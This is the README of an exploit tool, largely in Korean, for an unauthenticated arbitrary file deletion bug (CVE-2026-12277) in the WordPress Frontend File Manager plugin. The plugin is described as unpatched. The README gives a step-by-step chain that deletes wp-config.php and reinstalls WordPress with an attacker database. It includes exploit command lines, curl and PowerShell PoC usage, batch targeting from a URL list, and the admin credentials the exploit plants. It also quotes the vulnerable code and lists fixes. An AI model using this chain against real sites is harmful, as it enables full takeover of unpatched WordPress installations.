
Frontend File Manager Plugin (WordPress) <= 23.6 - 인증되지 않은 임의 파일 삭제를 통한 RCE
| 필드 | 값 |
|---|
| CVE | CVE-2026-12277 |
| 플러그인 | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| 영향을 받는 버전 | <= 23.6 |
| 유형 | 인증되지 않은 임의 파일 삭제 |
| CVSS | 8.7 (높음) |
| CWE | CWE-73 (파일 이름 또는 경로의 외부 통제) |
| 전제 조건 | 게스트 업로드 모드 활성화 |
| 패치 | 없음 (2026년 7월 기준) |
| 연구자 | Chamseddine Bouzaiene |
플러그인은 업로드된 파일 경로를 post 메타(wpfm_dir_path)에 저장합니다. wpfm_file_meta_update AJAX 엔드포인트:
files.php의 769-771번째 줄)nopriv로 등록됨 (인증 없이 접근 가능)unset($_REQUEST['wpfm_dir_path']) 방어는 PHP request_order의 특성(쿼리 문자열을 통해 전송)을 이용하여 우회 가능wpfm_delete_file이 호출되면 post 메타에서 wpfm_dir_path를 읽고 경로 검증 없이 unlink()를 호출합니다.
| AJAX 액션 | 논스 필요 | 인증 필요 | nopriv |
|---|---|---|---|
wpfm_file_meta_update | 아니요 (주석 처리됨) | 아니요 | 예 (항상) |
wpfm_delete_file | 예 | 아니요 | 예 (항상) |
wpfm_upload_file | 예 | 아니요 | 예 (게스트 업로드가 켜져 있는 경우) |
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
| 파일 | 설명 |
|---|---|
exploit.py | 전체 Python 익스플로잇 (탐지 → 익스플로잇 → 장악) |
poc_curl.sh | Bash/curl PoC (Linux) |
poc_curl.ps1 | PowerShell/curl PoC (Windows) |
lists.txt | 대상 URL (한 줄에 하나씩, 배치 모드용) |
requirements.txt | Python 종속성 |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
익스플로잇 성공 후, WordPress 관리자에 로그인하십시오:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| 인수 | 필수 | 설명 |
|---|---|---|
-u, --url | 예 | 대상 WordPress URL |
-p, --path | 아니요 | 서버의 wp-config.php 절대 경로 |
--nonce | 아니요 | AJAX 논스 (자동 추출 건너뛰기) |
--dbname | 아니요 | 공격자 데이터베이스 이름 (기본값: wp_pwned) |
--dbuser | 아니요 | 공격자 데이터베이스 사용자 (기본값: root) |
--dbpass | 아니요 | 공격자 데이터베이스 비밀번호 |
--dbhost | 아니요 | 공격자 데이터베이스 호스트 (기본값: localhost) |
--proxy | 아니요 | HTTP 프록시 (예: http://127.0.0.1:8080) |
--timeout | 아니요 | 요청 시간 초과(초) (기본값: 15) |
--detect-only | 아니요 | 취약점만 탐지, 익스플로잇하지 않음 |
익스플로잇은 다음 위치에서 wpfm_ajax_nonce를 자동으로 검색합니다:
/file-manager/, /upload/, /files/, /file-upload/ 등/file-manager.php/wp-json/)논스는 숨겨진 입력 필드로 나타납니다:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
또는 지역화된 JavaScript에서:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
코드는 직접 덮어쓰기를 방지하기 위해 unset($_REQUEST['wpfm_dir_path'])를 수행합니다. 우회 방법:
쿼리 문자열 주입: 다른 데이터는 POST 본문을 통해 전송되는 동안 wpfm_dir_path를 URL 쿼리 매개변수로 전송합니다. PHP의 $_REQUEST 병합 동작으로 인해 request_order 구성에 따라 값이 유지될 수 있습니다.
업로드 흐름 중 사전 설정: wpfm_dir_path 메타는 초기 파일 업로드 후크 동안 설정됩니다. 해당 단계에서 익스플로잇하는 경우 우회가 필요하지 않습니다.
| 구성 요소 | 버전 |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| 플러그인 | Frontend File Manager 23.6 |
| 운영 체제 | Windows (XAMPP) / Linux |
| 결과 | 완전 장악 확인됨 |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_update에서 논스 검증 주석 해제realpath() + 접두사 검사를 사용하여 업로드 디렉터리에 대해 wpfm_dir_path 검증이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 서면 허가를 받으십시오.